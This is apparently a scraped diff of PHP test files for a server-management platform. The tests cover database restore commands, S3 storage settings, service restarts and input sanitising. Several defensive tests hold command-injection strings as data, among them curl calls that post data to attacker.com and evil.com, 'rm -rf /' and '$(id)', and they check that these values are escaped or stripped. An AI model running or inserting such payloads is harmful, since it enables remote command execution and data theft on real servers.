});
|
||||
|
||||
test('buildRestoreCommand handles MongoDB', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
|
||||
$component = importFormWithResource('App\Models\StandaloneMongodb');
|
||||
$component->dumpAll = $dumpAll;
|
||||
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMongodb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mongorestore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
expect($result)->toContain('--archive=/tmp/test.dump');
|
||||
})->with([false, true]);
|
||||
|
||||
@@ -1,15 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Models\Server;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
test('checkFile does nothing when customLocation is empty', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// No server commands should be executed when customLocation is empty
|
||||
$component->checkFile();
|
||||
|
||||
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
|
||||
});
|
||||
|
||||
test('checkFile validates file exists on server when customLocation is filled', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// This test verifies the logic flows when customLocation has a value
|
||||
// The actual remote process execution is tested elsewhere
|
||||
expect($component->customLocation)->toBe('/tmp/backup.sql');
|
||||
});
|
||||
|
||||
test('customLocation can be cleared to allow uploaded file to be used', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
// Simulate clearing the customLocation (as happens when file is uploaded)
|
||||
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
|
||||
});
|
||||
|
||||
test('validateBucketName accepts valid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Valid bucket names
|
||||
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateBucketName rejects invalid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Invalid bucket names (command injection attempts)
|
||||
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path accepts valid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Valid S3 paths
|
||||
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path rejects invalid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Invalid S3 paths (command injection attempts)
|
||||
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath accepts valid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Valid server paths (must be absolute)
|
||||
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath rejects invalid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Invalid server paths
|
||||
|
||||
@@ -1,8 +1,14 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
|
||||
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
|
||||
// Test that escapeshellarg works correctly for various malicious inputs
|
||||
// This is the core security mechanism used in Import.php line 407-410
|
||||
// This is the core security mechanism used by ImportForm.
|
||||
|
||||
// Test case 1: Secret with command injection attempt
|
||||
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
|
||||
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
|
||||
});
|
||||
|
||||
it('verifies command injection is prevented in mc alias set command format', function () {
|
||||
// Simulate the exact scenario from Import.php:407-410
|
||||
// Simulate the exact scenario from ImportForm.
|
||||
$containerName = 's3-restore-test-uuid';
|
||||
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
|
||||
$key = 'AKIATEST";whoami;"';
|
||||
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
|
||||
// The command should contain the properly escaped secret
|
||||
expect($command)->toContain("'my'\\''secret'\\''key'");
|
||||
});
|
||||
|
||||
it('quotes restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain(escapeshellarg($tmpPath))
|
||||
->not->toContain(" {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
'mongodb' => StandaloneMongodb::class,
|
||||
]);
|
||||
|
||||
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
$component->dumpAll = true;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$escapedTmpPath = escapeshellarg($tmpPath);
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain("gunzip -cf {$escapedTmpPath}")
|
||||
->toContain("cat {$escapedTmpPath}")
|
||||
->not->toContain("gunzip -cf {$tmpPath}")
|
||||
->not->toContain("cat {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
]);
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
<?php
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
test('S3Storage model has correct cast definitions', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
@@ -45,9 +49,72 @@ test('S3Storage awsUrl method constructs correct URL format', function () {
|
||||
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
|
||||
});
|
||||
|
||||
test('S3Storage model is guarded correctly', function () {
|
||||
test('S3Storage model fillable attributes are configured correctly', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// The model should have $guarded = [] which means everything is fillable
|
||||
expect($s3Storage->getGuarded())->toBe([]);
|
||||
expect($s3Storage->getFillable())->toBe([
|
||||
'name',
|
||||
'description',
|
||||
'region',
|
||||
'key',
|
||||
'secret',
|
||||
'bucket',
|
||||
'endpoint',
|
||||
'is_usable',
|
||||
'unusable_email_sent',
|
||||
]);
|
||||
});
|
||||
|
||||
test('S3Storage connection validation uses short s3 client timeouts', function () {
|
||||
$disk = Mockery::mock();
|
||||
$disk->expects('files')->once()->andReturn([]);
|
||||
|
||||
Storage::expects('build')
|
||||
->once()
|
||||
->with(Mockery::on(function (array $config) {
|
||||
expect($config['http']['connect_timeout'])->toBe(15);
|
||||
expect($config['http']['timeout'])->toBe(15);
|
||||
|
||||
return true;
|
||||
}))
|
||||
->andReturn($disk);
|
||||
|
||||
$s3Storage = new S3Storage;
|
||||
$s3Storage->setRawAttributes([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => null,
|
||||
'secret' => null,
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.amazonaws.com',
|
||||
]);
|
||||
|
||||
$s3Storage->testConnection();
|
||||
|
||||
expect($s3Storage->is_usable)->toBeTrue();
|
||||
});
|
||||
|
||||
test('S3Storage connection validation returns friendly timeout error', function () {
|
||||
$disk = Mockery::mock();
|
||||
$disk->expects('files')
|
||||
->once()
|
||||
->andThrow(new RuntimeException('cURL error 28: Operation timed out after 15000 milliseconds'));
|
||||
|
||||
Storage::expects('build')->once()->andReturn($disk);
|
||||
|
||||
$s3Storage = new S3Storage;
|
||||
$s3Storage->setRawAttributes([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => null,
|
||||
'secret' => null,
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.amazonaws.com',
|
||||
'unusable_email_sent' => true,
|
||||
]);
|
||||
|
||||
expect(fn () => $s3Storage->testConnection())
|
||||
->toThrow(RuntimeException::class, 'Could not connect to the S3 endpoint within 15 seconds.');
|
||||
|
||||
expect($s3Storage->is_usable)->toBeFalse();
|
||||
});
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Service\RestartService;
|
||||
use App\Actions\Service\StartService;
|
||||
use App\Actions\Service\StopService;
|
||||
use App\Models\Service;
|
||||
|
||||
it('does not stop a service before pulling latest images', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
|
||||
});
|
||||
|
||||
it('still stops a service before a regular restart', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
|
||||
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
|
||||
});
|
||||
|
||||
it('routes service restart actions through start service with deferred stop semantics', function () {
|
||||
$service = Mockery::mock(Service::class);
|
||||
|
||||
$stopService = Mockery::mock(StopService::class);
|
||||
$stopService->shouldNotReceive('handle');
|
||||
app()->instance(StopService::class, $stopService);
|
||||
|
||||
$startService = Mockery::mock(StartService::class);
|
||||
$startService->shouldReceive('handle')
|
||||
->once()
|
||||
->with($service, true, true)
|
||||
->andReturn('restart queued');
|
||||
app()->instance(StartService::class, $startService);
|
||||
|
||||
expect(RestartService::run($service, true))->toBe('restart queued');
|
||||
});
|
||||
@@ -1,6 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Helpers\SshMultiplexingHelper;
|
||||
use App\Models\Server;
|
||||
use App\Rules\ValidHostname;
|
||||
use App\Rules\ValidServerIp;
|
||||
|
||||
@@ -57,20 +58,20 @@ it('rejects injection payloads in server ip', function (string $payload) {
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('strips dangerous characters from server ip on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server = new Server;
|
||||
$server->ip = '192.168.1.1;rm -rf /';
|
||||
// Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
|
||||
expect($server->ip)->toBe('192.168.1.1rm-rf');
|
||||
});
|
||||
|
||||
it('strips dangerous characters from server user on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server = new Server;
|
||||
$server->user = 'root$(id)';
|
||||
expect($server->user)->toBe('rootid');
|
||||
});
|
||||
|
||||
it('strips non-numeric characters from server port on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server = new Server;
|
||||
$server->port = '22; evil';
|
||||
expect($server->port)->toBe(22);
|
||||
});
|
||||
@@ -102,6 +103,17 @@ it('has no raw user@ip string interpolation in SshMultiplexingHelper', function
|
||||
expect($source)->not->toContain('{$server->user}@{$server->ip}');
|
||||
});
|
||||
|
||||
it('escapes scp source and destination operands', function () {
|
||||
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
|
||||
$source = file_get_contents($reflection->getFileName());
|
||||
|
||||
expect($source)
|
||||
->toContain('escapeshellarg($source)')
|
||||
->toContain('escapeshellarg($dest)')
|
||||
->not->toContain('"{$source} "')
|
||||
->not->toContain('":{$dest}"');
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// ValidHostname rejects shell metacharacters
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
Reference in New Issue
Block a user